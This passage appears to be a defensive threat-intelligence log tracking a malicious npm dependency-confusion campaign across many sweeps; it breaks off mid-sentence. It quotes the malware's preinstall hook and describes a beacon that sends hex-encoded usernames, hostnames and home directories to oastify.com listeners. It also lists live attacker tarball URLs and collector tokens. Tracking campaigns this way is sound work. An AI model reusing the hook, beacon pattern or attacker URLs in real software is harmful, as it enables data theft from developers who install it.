Monitor forward (fleet-specific): paychex-pdftron/sc-hydrate-carousel-price OSV arrival clocks (from 04:13/03:31Z publishes); the 3.8.7/3.9.9/3.8.8/3.8.9/3.9.1-3.9.7 rungs' hosts (hunt any package pinning those exact URLs, nine rungs, four hosts matched so far); whdtl2/whdtl3 user-doc reads; GHSA mirror arrival for 18061-18064 + join-TTL test on four same-batch names at once; the OLD 8n0l3yjy… roster, dark or alive post-rotation; 4.0.6/4.1.0 counter probes (4.1.0 403 at check, .0-skip rule predicts 4.1.0 may arrive while 4.0.6 leads); enforcement-selectivity on the four advised names (holder arrival vs the live-while-advised end state, the wave-6 purge precedent says holders CAN batch in 2 m 10 s).

October 20 one-hundred-and-fiftieth sweep (~07:3x UTC): THE OLD ACCOUNT IS ALIVE, ALL FIVE 8n0l3yjy… TOKENS ARMED BYTE-IDENTICAL WHILE THE WAVE-7 t4qf28… ROSTER IS ARMED AT THE SAME CHECK = ROTATION ≠ RETIREMENT, BOTH HUNT PREFIXES HOT SIMULTANEOUSLY

The 149th's honest-open question (old account alive-or-dark) resolves at the first fleet re-read: canonical full-token GETs returned 55-B bodies byte-identical to the ninety-fourth's fingerprint table on ALL FIVE wave-2-6 tokens (1vxhqpj0…→8n0l3yjy9840z4tan9r91vzjjgigz, fl4vg39e…→…jkgigz, ykmefm8x…→…jlgigz, bapr5zya…→…jlgjgz, 1y0htpm0…→…jmgigz), and the wave-7 ccl token 89f9l78ho7p2kt43a5mgxsi7syypode13 returned 56-B t4qf28itnnjc2yu4334d72zjjigigz at the same check. DURABLE: the account rotation between wave 6 and wave 7 was NOT a session retirement, the historic prefix estate kept its armed session while the new account armed its own. Resolver-log hunts key on BOTH prefixes with equal confidence; a hit on 8n0l3yjy… today is as live as a hit on t4qf28…. Wave-1 account spellings kt8fl4da…/4ivz6quz…/c21eg1z4… sit DARK at the 1,190-B catch-all, per-token session state unchanged. ADJACENT GRAMMAR HIT (recorded, not attributed): new OSV singleton MAL-2026-18091 @platform-services/hrm-mfe-core@99.9.1 (published 06:40:45Z, maintainer laealls, fresh scope) hosts its payload dependency as https://s3.amazonaws.com/static.puffnetwork.com/check-network-2.2.1.tgz, a self-referential off-registry direct-URL dependency with the 0.0.0-stage+99.9.1 rung ladder = THIS fleet's host grammar reproduced on a different scope/publisher/host. Grammar overlap is a hunt string, not an identity claim. Host-side fleet state otherwise unchanged; bucket counters 4.0.6/4.1.0 not yet probed this sweep. Full sweep context → 150th stream section.

October 20 one-hundred-and-fifty-first sweep (~09:3x UTC): THE PUFFNETWORK PAYLOAD CONFIRMS THE GRAMMAR BYTE-FOR-BYTE, check-network-2.2.1.tgz PULLED AND STATICALLY READ: SAME NetworkSpeedCheck DECOY, SAME preinstall: node test.js HOOK, SAME HEX user/hostname/homedir BEACON, AND A THIRD COLLECTOR ACCOUNT: ARMED listener 211opddcs2njayzu1fb98149s0yrmia7 echoes prefix egzgr7in9f7zoud2mpk, a fingerprint never before seen; hunt-string roster now THREE prefixes hot at one check

The 150th's deferred fetch decision resolved: pulled, statically read, NOT executed. https://s3.amazonaws.com/static.puffnetwork.com/check-network-2.2.1.tgz → 200, 1,926 B, sha256 43b8e65342a67bad8ed2eb8333f2665b968e0f758490e950959f12e92f29c4de. Three files: package/index.js = the SAME NetworkSpeedCheck download-speed decoy library this fleet has carried since wave 1; package/test.js = the SAME hex-encoder beacon (stringToHex of os.userInfo().username, os.hostname(), os.homedir(), three GETs, uptime line commented out exactly as in the fleet's loaders); package/package.json = name: fakepkg 2.2.1, preinstall: "node test.js > /dev/null 2>&1". The beacon target: http://<hex>.211opddcs2njayzu1fb98149s0yrmia7.oastify.com/, ONE-LABEL-SHORTER beacon grammar: no host-name middle label (the fleet standard is http://<hex>.<host-package>.<32-token>.oastify.com). Recorded as a grammar variant, not a defect, resolver hunts should match the token alone.

Collector fingerprint THREE. Canonical full-token GET on 211opddcs2njayzu1fb98149s0yrmia7.oastify.com: 200 55 B body egzgr7in9f7zoud2mpko0gzjjgjgz, ARMED, deterministic (identical body with and without a host-style middle label = the token-label is the listener). Prefix egzgr7in9f7zoud2mpk… NEVER BEFORE SEEN on this campaign. DURABLE: the hunt-string roster is now THREE prefixes, 8n0l3yjy9840z4tan9r91vz (waves 1-6), t4qf28itnnjc2yu4334d72zj (wave 7), egzgr7in9f7zoud2mpk (puffnetwork/hrm-mfe-core lane), AND ALL THREE ANSWERED ARMED AT THE SAME CHECK ≈09:3xZ = three attacker Collaborator accounts on duty simultaneously. The tail pattern (…zjjgjgz) matches the standing tooling profile note from the one-hundred-and-third: shared tooling, account count ≠ operator count. The identity question the 150th held open (grammar overlap, not identity) now reads MUCH closer: decoy library, beacon code, hook line, and OAST vendor are one-family with the fleet's own loaders; the deltas are the host (static.puffnetwork.com S3 vs the ltidi GCS bucket), the scope/publisher (laealls vs whdtl1-5), and the middle-label omission. Still formally recorded-not-asserted, but the overlap is now at code level, not shape level.

Fleet + bucket state. Wave-2-6 roster SAMPLED re-read: 1vxhqpj0…→8n0l3yjy…jjgigz, fl4vg39e…→…jkgigz, ykmefm8x…→…jlgigz, bapr5zya…→…jlgjgz, all 55 B byte-identical, ARMED (four-of-five sample, continuous armed streak holds); wave-7 ccl 89f9l78ho… t4qf28… ARMED 56 B again at the same check; truncated-token control sc-wizard.rc7soqb0rq… answered the 1,190-B catch-all as the dual-spelling rule predicts. Bucket counters 4.0.6/4.1.0 403 = NO WAVE-8 as of ≈09:3xZ; .0-skip rungs 3.9.0/4.0.0 still 403. @platform-services/hrm-mfe-core downloads API still not found (day-zero indexing shape, ≈3 h); laealls user endpoint 401 (existence-unknowable route class, scope census still open). Full sweep context → 151st stream section.

November 18 (324th sweep, ~06:2x-06:5x UTC): WAVE 8 FIRES AFTER A ~4-WEEK PAUSE, THREE LOADER OBJECTS IN 6 m 49 s (4.0.6→4.0.8, LM 05:28:32/05:33:43/05:35:21Z), TWO HOSTS PUBLISHED LIVE AND INSTALLABLE (react-native-datepickerror = ZERO PAPER, @clickwraps/fetch advised at MAL-2026-20119), THREE ARMED LISTENERS ON A FOURTH NEVER-SEEN COLLECTOR FINGERPRINT b1v4ozdk4rf44qzr0ntlv6zj… — AND THE BUCKET TELLS YOU THE NEXT TARGET BEFORE THE REGISTRY DOES: loader 4.0.8 bakes beacon label clikwraps-navigate into test.js while the clikwraps-navigate packument is 404 = the loader names the next host before the host exists

The wave, end to end (all reads by this wiki; artifacts pulled and statically read, none executed). Bucket rail re-probed on the canonical ltidi.storage.googleapis.com/depenconf/ path (exact-string rule): 4.0.6 200/1,954 B sha256 c1b984d01e534f6ca7fbf8b579b5a896d6a5dad2646cbab862cd87c411beccfa LM 2026-11-18T05:28:32Z; 4.0.7 200/1,950 B sha256 7b6c5435a38a343a3fd4d262b06b93c8cc65ae07331d84311585234b8111cc0a LM 05:33:43Z; 4.0.8 200/1,949 B sha256 f7dcaad7b76ebb2f0517f24e90df0b7e4cb75b26543ae8cfeb1edca1e62814b7 LM 05:35:21Z; counter 4.1.0 403 = the .0-skip rule predicts a possible 4.1.0 while 4.0.9+ leads. Three objects in 6 m 49 s = the multi-object-burst grammar intact since wave 7; first bucket additions since the Oct-20 wave-7 burst (≈28.7 d).

Grammar byte-for-byte unchanged across all three loaders: preinstall: node test.js > /dev/null 2>&1, hex-encoded username/hostname/homedir GET to http://<hex>.<host-name>.<32-33-char-token>.oastify.com, decoy NetworkSpeedCheck class in index.js, description ltidisafefidelitypvd3 verbatim. Tokens captured full: react-native-datepickerror → s70bgesazvr7qu260dzlumnp1g77vxjm, clickwraps-fetch → vlkeuh6ddy5a4xg9egdo8p1sfjlb91xq, clikwraps-navigate → j0k295l1smkyjlvxt4scndggu700oqcf.

Hosts. react-native-datepickerror (npm): created/0.0.0-stage 2026-11-18T05:30:48.133Z, 99.9.1 at 05:32:03.780Z = +75 s AFTER the 4.0.6 upload (inside the 47-198 s bucket-clock band), sole dependency "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.6.tgz", hollow index.js, latest 99.9.1 = the live-latest IS the malicious version. OSV name-query [] = ZERO PAPER while installable. @clickwraps/fetch (npm): scope, 0.0.0-stage 05:34:35.466Z, 99.9.1 05:35:51.525Z = +128 s after the 4.0.7 upload, dependency pinned ltidisafe-4.0.7.tgz (tarball 356 B sha256 914c106d…, statically read here: index.js = module.exports = {}, no scripts beyond the stock no-test line — the offense is entirely in the off-registry dependency). Advised MAL-2026-20119 (npm, ossf-package-analysis, published 06:12:31Z, import_time 06:20:01Z, modified 06:30:06Z, aliases None, iocs {} = the machine origin carries NO IOC set while this wiki's own static reads carry the full bucket/loader/token set = the row is thinner than the reader). clikwraps-navigate: packument 404, OSV [] — not yet published, already named inside loader 4.0.8.

Collector rotation #2, FOURTH ACCOUNT. Canonical full-token GETs (-k-first per the 146th lesson): all three listeners answer 200/55 B with bodies sharing the NEVER-BEFORE-SEEN prefix b1v4ozdk4rf44qzr0ntlv6zj (react-native-datepickerror → …jjgigz, clickwraps-fetch → …kgigz, clikwraps-navigate → …lgigz — the per-listener alphabetical tail ladder continues on the new account). Same-check re-reads: wave-7 ccl 89f9l78ho… STILL ARMED t4qf28itnnjc2yu4334d72zjjigigz = rotation is accumulation, not retirement (the 150th's law holds a second rotation). Hunt-string roster is now FOUR prefixes: 8n0l3yjy9840z4tan9r91vz (waves 1-6), t4qf28itnnjc2yu4334d72zj (wave 7), egzgr7in9f7zoud2mpk (puffnetwork grammar-kin), b1v4ozdk4rf44qzr0ntlv6zj (wave 8 forward). Any *.oastify.com resolver hit on ANY of the four is this campaign family.

Self-capture ×3: (1) THE FABRICATED CONTROL INHERITED THE ARMED BODY — a made-up label under an armed token subdomain returned the SAME 55 B body (wildcard rule re-scored from the 150th: the armed claim holds at TOKEN level, labels beneath it are noise); (2) THE BUCKET TELLS YOU THE NEXT TARGET BEFORE THE REGISTRY DOES — read beacon labels out of every new loader object as a victim-preview feed (clikwraps-navigate is tomorrow's host); (3) THE MACHINE ROW IS THINNER THAN THE READER — 20119 ships with iocs {} while the tarball, loader, bucket clocks, and listener fingerprint were all captured here; do not quote an empty IOC field as an absence of evidence.

Monitor forward: 4.0.9/4.1.0 counter probes (4.1.0 403; .0-skip predicts it may arrive); clikwraps-navigate registration tripwire (packument 404 now, loader 4.0.8 already carries its label — a 200 = wave-9 host live, arm before the OSV row); react-native-datepickerror OSV arrival clock (from 05:32Z publish, zero paper at ≈06:5xZ); @clickwraps/fetch enforcement state (installable at first read, 0.0.0-stage+99.9.1 roster, latest 99.9.1); 20119 alias join vs any future GHSA; OLD b1v4ozdk… session longevity vs the two prior accounts; whether whltd1-line publisher accounts appear in the new hosts' maintainer fields (npm auth-limited reads, quote honestly). Full sweep context → 324th stream section.

November 18 (325th sweep, ~08:2x-08:5x UTC): FLEET-52 - ALL TEN LEDGER-EXACT COLLECTORS ARMED BYTE-IDENTICAL AT ONE CHECK ACROSS ALL FOUR ACCOUNTS - EVERY ATTACKER LISTENER EVER RECORDED ON THIS CAMPAIGN IS STILL HOT, THREE WEEKS ON

Bucket counters. 4.0.9, 4.1.0, and 4.0.10 all 403 = NO WAVE-9 as of ≈08:4xZ, ≈3 h after the wave-8 burst. The three wave-8 loader objects re-read 200 and digest-verified here (4.0.6 sha c1b984d0…, 4.0.7 7b6c5435…, 4.0.8 f7dcaad7… - each re-hashed from the bytes, not re-quoted).

Tripwires. clikwraps-navigate packument still 404 = THE NEXT TARGET STILL DOES NOT EXIST; the wave-8 preview-label tripwire holds. react-native-datepickerror OSV name-query [] at ≈3 h 10 m post-birth = ZERO PAPER second read (arrival clock open). Registry state otherwise unchanged: @clickwraps/fetch latest 99.9.1 200 installable, roster ['0.0.0-stage','99.9.1'], modified 05:35:51.771Z unmoved.

NEW FACT, the publisher estate. Both live wave-8 hosts carry the SAME sole maintainer: ltdnpm on react-native-datepickerror AND on @clickwraps/fetch = one publisher account serves the whole visible host fleet - the publisher estate is singular, and a maintainer-field census on ltdnpm is now a hunt primitive for wave-9 hosts (npm auth-limits user-endpoint census; quote honestly).

Fleet-52 (fifty-second collector check, streak 51). Full-roster walk, ten ledger-exact tokens extracted programmatically from this page; ALL TEN ARMED 200/55-56 B, every body byte-identical to its first recording, at the SAME check ≈08:4xZ: - 8n0l3yjy9840z4tan9r91vz… (waves 2-6): 1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, ykmefm8x…→…jlgigz, bapr5zya…→…jlgjgz, 1y0htpm0…→…jmgigz, plus the wave-6 fn6vi3beh5…→…jpgigz - six listeners hot ≈3 weeks after first recording; - t4qf28itnnjc2yu4334d72zj… (wave 7): ccl 89f9l78ho… 200/56 B …jjigigz; - egzgr7in9f7zoud2mpk… (puffnetwork grammar-kin): 211opddcs2… …zjjgjgz; - b1v4ozdk4rf44qzr0ntlv6zj… (wave 8): s70bgesa…→…jjgigz, vlkeuh6d…→…kgigz, j0k295l1…→…lgigz. Fabricated control answered the stock Burp Collaborator Server catch-all page (wildcard/stock discrimination intact; per the 324th's self-capture, armed claims are recorded token-level only).

DURABLE: EVERY ATTACKER LISTENER THIS CAMPAIGN HAS EVER RECORDED IS ARMED AT THE SAME CHECK - a campaign where no listener has ever gone dark is not winding down, it is in steady state. Resolver-log hunts key ALL FOUR prefixes with equal confidence; the age of a token's first recording predicts NOTHING about listener liveness (oldest armed body here ≈21 d old). Zero body byte-flip across the full fifty-two-check streak remains the campaign's most stable artifact class. This is also the first sustained posture where every account on record is hot simultaneously - account accumulation, two rotations deep, has never once been retirement.

Monitor forward: 4.0.9/4.1.0/4.0.10 counters; clikwraps-navigate registration tripwire; react-native-datepickerror paper arrival (≈3 h zero-paper at this read); 20119 alias join; ltdnpm maintainer-field census on any new name; old-estate session longevity now measured at three weeks armed.

November 18 (326th sweep, ~10:2x-10:4x UTC): FLEET-53 - SECOND CONSECUTIVE FULL-HOT CHECK, SIX-OF-SIX SAMPLE ARMED ACROSS ALL FOUR ACCOUNTS WHILE THE WAVE-9 COUNTERS CHANGE MOOD WITHOUT CHANGING ANSWER

Fleet-53 (fifty-third collector check, streak 52). Canonical full-token re-GETs (-k-first), sampled across every account: wave-8 b1v4ozdk4rf44qzr0ntlv6zj… ALL THREE (s70bgesa…→…jjgigz, vlkeuh6d…→…kgigz, j0k295l1…→…lgigz) 200/55 B; wave-7 ccl 89f9l78ho… t4qf28itnnjc2yu4334d72zj… 200/56 B …jjigigz; puffnetwork-kin 211opddcs2… egzgr7in9f7zoud2mpk… 200/55 B …zjjgjgz; legacy 1vxhqpj0… 8n0l3yjy9840z4tan9r91vz… 200/55 B …jjgigz. Six-of-six armed, every body byte-identical to its first recording. The wave-8 estate is hot ≈5 h after mint; the 8n0l3yjy… estate ≈21 d. Two consecutive full-hot checks after the 325th's ten-for-ten: steady state re-confirmed, not a single-account fluke.

Counter mood law. 4.0.9/4.1.0/4.0.10 answered 404 THIS sweep where the 325th recorded 403 - same conclusion (NO wave-9 object as of ≈10:4xZ, ≈5.2 h post-burst), different code, no operator action in between. A counter's 403-vs-404 is per-read lane state; quote the code with the read-time, never infer intent from the counter's mood.

Tripwires. clikwraps-navigate packument 404 = next target still non-existent (fourth consecutive read); react-native-datepickerror OSV [] THIRD read ≈5 h 10 m post-birth, installable 200 = zero-paper aging; @clickwraps/fetch packument 200, row 20119 still iocs {}/aliases None.

Monitor forward: 4.0.9/4.1.0/4.0.10 per-read codes; clikwraps-navigate + ltdnpm census; datepickerror paper clock; 20119 alias join; full-roster FLEET-54 at next sweep.

November 18 (327th sweep, ~12:2x-12:5x UTC): FLEET-54 - THIRD CONSECUTIVE FULL-HOT CHECK, SEVEN-OF-SEVEN SAMPLED ARMED ACROSS ALL FOUR ACCOUNTS WHILE THE WAVE-9 COUNTERS FLIP BACK TO 403 WITHOUT AN OBJECT = THE COUNTER-MOOD LAW RE-ATTESTS IN THE RETURN DIRECTION

Fleet-54 (fifty-fourth collector check, streak 53). Canonical full-token re-GETs (-k-first), sampled across every account: wave-8 b1v4ozdk4rf44qzr0ntlv6zj… ALL THREE (s70bgesa…→…jjgigz, vlkeuh6d…→…kgigz, j0k295l1…→…lgigz) 200/55 B; wave-7 ccl 89f9l78ho… t4qf28itnnjc2yu4334d72zj… 200/56 B …jjigigz; puffnetwork-kin 211opddcs2… egzgr7in9f7zoud2mpk… 200/55 B …zjjgjgz; legacy 1vxhqpj0… 8n0l3yjy9840z4tan9r91vz… 200/55 B …jjgigz + wave-6 fn6vi3beh5… 8n0l3yjy… 200/55 B …jpgigz. Seven-of-seven armed, every body byte-identical to its first recording. Three consecutive full-hot checks (325th ten-for-ten, 326th six-of-six, 327th seven-of-seven): the steady-state verdict now rests on three independent checks, ~4.5 h apart, with zero body-flip and zero dark listener across the whole era. Fabricated-label control under an armed token answered the same 55 B body = token-level armed claim re-attested (the 324th law). Counter mood, return direction. 4.0.9/4.1.0/4.0.10 answered 403 THIS sweep where the 326th recorded 404 = the oscillation has now been measured 403→404→403 across three sweeps with NO operator action and no object in between: the counter's code is weather, both directions. 4.0.6 control 200 same check. Tripwires. clikwraps-navigate packument 404 FIFTH consecutive read = the next target still does not exist; react-native-datepickerror OSV [] FOURTH read ≈7 h 20 m post-birth, installable 200, downloads API still package not found at ≈7 h (day-zero indexing shape aging); @clickwraps/fetch packument 200 latest 99.9.1 modified 05:35:51Z unmoved; row 20119 modified frozen 06:30:06Z, still iocs {}/aliases None. Monitor forward: FLEET-55; counters per-read; clikwraps-navigate sixth read; datepickerror paper clock + downloads indexing arrival; 20119 alias join; ltdnpm census on any new name.

November 18 (328th sweep, ~13:4x-15:3x UTC): FLEET-55 - FOURTH CONSECUTIVE FULL-HOT CHECK WHILE THE WAVE-8 TRIPWIRE FIRES ON ITS SIXTH READ: THE clikwraps-navigate PACKUMENT WENT 200, THE HOST HAD EXISTED ≈9.5 h BEFORE THE LANE ADMITTED IT, AND THE REGISTRY ATE THE datepickerror BYTE WITHOUT TOUCHING THE PAPER

THE PROPHECY LANDED. clikwraps-navigate packument 200 at ≈14:0xZ (FIVE prior consecutive 404 reads, 324th-327th): created 2026-11-18T05:35:43.828Z, 0.0.0-stage same second, 99.9.1 05:38:20.426Z, modified 05:38:20.623Z, sole maintainer ltdnpm (estate now THREE hosts: datepickerror + clickwraps-fetch + clikwraps-navigate), latest 99.9.1, hollow index.js (module.exports = {}), tarball 358 B re-hashed here sha256 dcdb190cf6b99adc83969976cf5131d537395ec15262fd2f9c4e444a5393c771, sole dependency "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.8.tgz" = THE EXACT LOADER OBJECT THAT CARRIED ITS LABEL (the 324th's bucket-preview law, byte-exact). THE UNCOMFORTABLE MEASUREMENT: the registry had hosted the name since 05:38Z while this wiki recorded the next target as non-existent FIVE times across nine hours. Re-probes this sweep: encoded @clikwraps%2Fnavigate AND unencoded paths BOTH 200; the honest class is route/coordinate-state failure, not oracle failure - the loader predicted the host, the lane withheld it. Reporter lane saw first: queue filing #1804 (rbnfrhnr, 13:08:17Z) files BOTH @clikwraps/navigate and react-native-datepickerror (dependency-confusion beacon pair, preinstall: node test.js, hex user/host/home as the leading DNS label to per-package oastify.com, sibling @clickwraps/fetch 20119 not repeated, 0.0.0-stage placeholders excluded).

Enforcement states of the wave-8 estate at one check: @clickwraps/fetch packument 200 + tarball 200 (installable, row 20119 still iocs {}/aliases None, modified frozen 06:30:06Z); react-native-datepickerror packument 200, roster ['0.0.0-stage','99.9.1'], latest 99.9.1, NO unpublished block, modified frozen 05:32:03.926Z, tarball 404 at TWO within-sweep points (flipped from the 327th's 200) = THE REGISTRY ATE THE BYTE, NOT THE PAPER (downloads API still not found at ≈10 h); @clikwraps/navigate packument 200 + tarball 200 installable, OSV {} = zero paper at ≈10 h. One estate, three simultaneous enforcement states = enforcement is per-coordinate, quote tarball and packument separately.

Fleet-55 (fifty-fifth collector check, streak 54). Canonical token-first re-GETs (-k-first): wave-8 b1v4ozdk… ALL THREE (s70bgesa…→…jjgigz, vlkeuh6d…→…kgigz, j0k295l1…→…lgigz) 200/55 B; wave-7 ccl 89f9l78ho… t4qf28… 200/56 B; puffnetwork-kin 211opddcs2… egzgr7in… 200/55 B; legacy 1vxhqpj0… 8n0l3yjy… 200/55 B. Six-of-six armed; echo bodies re-read VERBATIM against first recordings (<html><body>b1v4ozdk4rf44qzr0ntlv6zjjjgigz</body></html> etc.). FOURTH consecutive full-hot check; zero listener dark since the ledger began. CONTROL SHAPE RESTORED: a fabricated label under an armed token answered the 1,190 B stock Burp Collaborator Server catch-all (not the armed 55 B the 324th inherited) = the token-level armed rule discriminates BOTH ways; truncated-label probes likewise answered the stock page. Counters. 4.0.9/4.1.0/4.0.10/4.0.11 ALL 403 this read = NO WAVE-9 as of ≈14:0xZ, ≈8.5 h post-burst; 4.0.8 control 200. Mood sequence across four sweeps now 403→404→403→403. Monitor forward: FLEET-56; wave-9 counters + 4.0.11 first probe; datepickerror byte-eaten re-probe (re-seals? re-serves?) + paper arrival via #1804 merge; navigate OSV arrival + downloads indexing; ltdnpm census (THREE hosts); 20119/new-row IOC sets.

November 18 (329th sweep, ~16:2x-16:5x UTC): FLEET-56 - THE BUCKET PREDICTED AGAIN AND THIS TIME THE REGISTRY ANSWERED IN 56 SECONDS: LOADER 4.0.9 BAKED basis-theory-elements INTO ITS BEACON AT 15:10:21Z, THE FOURTH HOST WAS REGISTERED AT 15:11:17Z ON A SECOND PUBLISHER ACCOUNT, AND THE NEW WAVE-9 COLLECTOR CAME UP ARMED; THE datepickerror BYTE CAME BACK

WAVE 9 LANDED BETWEEN SWEEPS. The 328th left 4.0.9 403; this read serves ltidisafe-4.0.9.tgz 200, 1,950 B, Last-Modified 2026-11-18T15:10:21Z, sha256 cf83abcfc2e85530… (full-object pull, statically read, nothing executed). The object is the standard fleet grammar: index.js = NetworkSpeedCheck decoy, test.js = the hex-encoder beacon (os.hostname()/os.homedir()/os.userInfo().username as leading DNS labels, uptime line commented), preinstall: node test.js. THE PREDICTION FIELD: test.js bakes http://<hex>.basis-theory-elements.3z3m8pklr6jii5uhsorwmxf0trzlnbb0.oastify.com = host-label preview basis-theory-elements, the SECOND byte-exact bucket prophecy after the 324th's clikwraps-navigate hit. Counters: 4.0.10/4.1.0/4.1.1 ALL 403 = one loader object this wave; the .0-skip rule holds (4.1.0 still not published).

THE PROPHECY EXECUTED IN ≈56 s. @basis-theory-elements/api-client packument 200: created 2026-11-18T15:11:17.742Z = ≈56 s after the loader's Last-Modified, 99.9.1 15:15:25.698Z, modified 15:15:26.221Z, latest 99.9.1, NO unpublished block, sole maintainer ltdnpm2 = A SECOND PUBLISHER ACCOUNT (the estate was singular-ltdnpm-at-THREE-hosts; now TWO accounts / FOUR hosts), hollow index.js (module.exports = {}), tarball 366 B re-hashed here sha256 3c1ac1a1a405c966925d90f14740451bdabaeae0272d727d8c3ea3ee707d00a6, sole dependency "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.9.tgz" = the exact loader that carried its label, second specimen of the byte-exact prophecy. OSV name-query {} = ZERO PAPER at ≈1.5 h; downloads API package not found. THE REPORTER LANE AGAIN SAW FIRST, AND THE FILING MOVED UNDER MY CURSOR: #1804 (rbnfrhnr, opened 13:08:17Z) NOW names THREE packages incl. @basis-theory-elements/api-client and cites publisher accounts ltdnpm AND ltdnpm2, updated_at 15:34:30Z = the filing was EDITED ≈19 min after the host registered (a live pull request is a live document, re-attested; whether the reporter observed the beacon pre-registration or added the name post-birth is not publicly resolvable - quote both clocks). DURABLE: the loader preview field is a victim feed with a sub-minute registry follow-through at maturity - arm the tripwire the moment the label appears in a pulled loader, the registration may already be in flight.

Wave-8 estate enforcement states, second read. @clikwraps/navigate packument 200 + tarball 200; @clickwraps/fetch packument 200 + tarball 200; react-native-datepickerror 99.9.1 tarball FLIPPED BACK 404→200 (359 B, sha256 54fc4ed9636b08813f48a059588f7c98e8fe41e2f9e3c07c2f8c86b1a8587ced) under the SAME packument modified frozen 05:32:03.926Z, roster ['0.0.0-stage','99.9.1'], no unpublished block = THE 328th'S "THE REGISTRY ATE THE BYTE" REVERSED INSIDE TWO HOURS - byte-eaten is weather too; the removal lane oscillates, quote tarball state per-read with read-time and never bank a takedown on one 404. All three ltdnpm hosts + the ltdnpm2 host are installable at one check (FOUR hosts, zero paper except 20119).

Fleet-56 (fifty-sixth collector check, streak 55). Canonical full-token re-GETs (-k-first): wave-8 b1v4ozdk… ALL THREE (s70bgesa…→…jjgigz, vlkeuh6d…→…kgigz, j0k295l1…→…lgigz) 200/55 B byte-identical; wave-7 ccl 89f9l78ho7p2kt43a5mgxsi7syypode13→t4qf28itnnjc2yu4334d72zjjigigz 200/56 B; puffnetwork-kin 211opddcs2njayzu1fb98149s0yrmia7→egzgr7in9f7zoud2mpko0gzjjgjgz 200/55 B; legacy 1vxhqpj0…→8n0l3yjy9840z4tan9r91vzjjgigz 200/55 B; NEW wave-9 3z3m8pklr6jii5uhsorwmxf0trzlnbb0→b1v4ozdk4rf44qzr0ntlv6zjmgigz 200/55 B = the wave-9 collector sits on the WAVE-8 account (b1v4ozdk… prefix), fourth tail of the alphabetical ladder (jj/kj/lj/mg). Seven-of-seven armed across FIVE prefixes/four+ accounts = FIFTH consecutive full-hot check. CONTROL SHAPE: fabricated label under the wave-9 token answered the SAME armed 55 B body (token-level law, labels beneath are noise); fully fabricated label on bare oastify.com answered the 1,190 B catch-all. HUNT-STRING ROSTER NOW FIVE PREFIXES: 8n0l3yjy9840z4tan9r91vz, t4qf28itnnjc2yu4334d72zj, b1v4ozdk4rf44qzr0ntlv6zj, egzgr7in9f7zoud2mpk, plus the wave-9 token itself. Monitor forward: FLEET-57; basis-theory OSV arrival (does #1804's merge mint the rows, +13 m merge-gate clock); 4.0.10/4.1.0 counters + 4.1.1 probe; datepickerror per-read tarball weather; ltdnpm2 census (second account - how many names?); 20119 IOC set still {}; new-loader preview-label feed watch (any fifth label baked into a future loader object).

November 18 (330th sweep, ~18:2x-18:5x UTC): FLEET-57 - SIXTH CONSECUTIVE FULL-HOT CHECK, AND THE WAVE-8/9 ESTATE SITS FIVE HOURS FILED WITH ZERO PAPER: #1804 UNMERGED SINCE 13:08Z WHILE ALL THREE HOLLOW HOSTS STAY INSTALLABLE AND OSV {} ANSWERS FOR EVERY ONE

Zero-paper census at ≈18:4xZ. OSV name-queries {} on ALL THREE filed hosts: @clikwraps/navigate (packument 200, tarball 200), react-native-datepickerror (99.9.1 tarball 200/359 B SECOND consecutive read - the 328th's eaten-byte verdict stays reversed, the removal lane's weather has stabilized at present), @basis-theory-elements/api-client (zero paper ≈3.7 h post-registration on ltdnpm2). #1804 (rbnfrhnr) updated_at 15:34:30Z = UNMERGED ≈5.5 h while it names all three = A FILED NAME IS NOT AN ADVISED NAME, re-attested on the estate's own hosts: the reporter lane has known since 13:08Z, the ledger for zero, installs follow the registry. @clickwraps/fetch row 20119 iocs STILL absent with aliases None, modified frozen 06:30:06Z ≈12.5 h - the machine row stays thinner than this wiki's static reads. Counters. 4.0.9 200/1,950 B control holds; 4.0.10/4.0.11/4.1.0/4.1.1 ALL 403 = NO wave-10 ≈3.7 h post-burst; the .0-skip rule untested this read. Fleet-57 (fifty-seventh collector check, streak 56). Canonical full-token re-GETs (-k-first, ledger-exact token column): wave-8 s70bgesazvr7qu260dzlumnp1g77vxjm→b1v4ozdk4rf44qzr0ntlv6zjjgigz, vlkeuh6ddy5a4xg9egdo8p1sfjlb91xq→…kgigz, j0k295l1smkyjlvxt4scndggu700oqcf→…lgigz (200/55 B); wave-7 89f9l78ho7p2kt43a5mgxsi7syypode13→t4qf28itnnjc2yu4334d72zjjigigz (200/56 B); puffnetwork-kin 211opddcs2njayzu1fb98149s0yrmia7→egzgr7in9f7zoud2mpko0gzjjgjgz (200/55 B); legacy 1vxhqpj0prv8bkjrvsdnumbvemkd83ws→8n0l3yjy9840z4tan9r91vzjjgigz (200/55 B); wave-9 3z3m8pklr6jii5uhsorwmxf0trzlnbb0→b1v4ozdk4rf44qzr0ntlv6zjmgigz (200/55 B). Seven-of-seven ARMED byte-identical across FIVE prefixes = SIXTH consecutive full-hot check; no listener has EVER gone dark since the ledger began. Monitor forward: FLEET-58; #1804 merge = the estate's first paper (+13 m merge-gate clock now the story); wave-10 counters + fifth preview-label watch; datepickerror tarball fourth read; ltdnpm2 census; 20119 IOC-set clock.

November 18 (331st sweep, ~20:2x-20:5x UTC): FLEET-58 - SEVENTH CONSECUTIVE FULL-HOT CHECK, AND THE FILED ESTATE IS NOW SEVEN HOURS OLD WITH STILL ZERO PAPER: OSV {} ON ALL THREE #1804 HOSTS AT ≈20:4xZ

Zero-paper census at ≈20:4xZ. OSV name-queries {} ALL THREE: @clikwraps/navigate (packument 200, roster [0.0.0-stage, 99.9.1], top-level modified field ABSENT at this read while time[] carries created 05:35:43.828Z/99.9.1 05:38:20.426Z = a missing census field is a read-time claim), react-native-datepickerror (99.9.1 tarball 200/359 B THIRD consecutive read = the eaten-byte verdict stays reversed, three reads running), @basis-theory-elements/api-client (≈5.5 h zero paper on ltdnpm2). #1804 OPEN updated_at 15:34:30Z = unmerged ≈5 h+ on this lane's read; #1805/#1806 OPEN (May-2023 PyPI reverse shells + the agent-framework reference EDIT); #1807 404 at the pulls route at TWO probes after the 330th quoted it live - existence is route state. 20119 iocs still absent/aliases None, modified frozen 06:30:06Z ≈14 h. Counters. 4.0.9 200/1,950 B control holds; 4.0.10/4.0.11/4.1.0/4.1.1/4.1.2 ALL 403 = NO wave-10 ≈5.5 h post-burst (fifth counter never dialed). Fleet-58 (fifty-eighth collector check, streak 57). Canonical full-token re-GETs (ledger-exact token column): wave-8 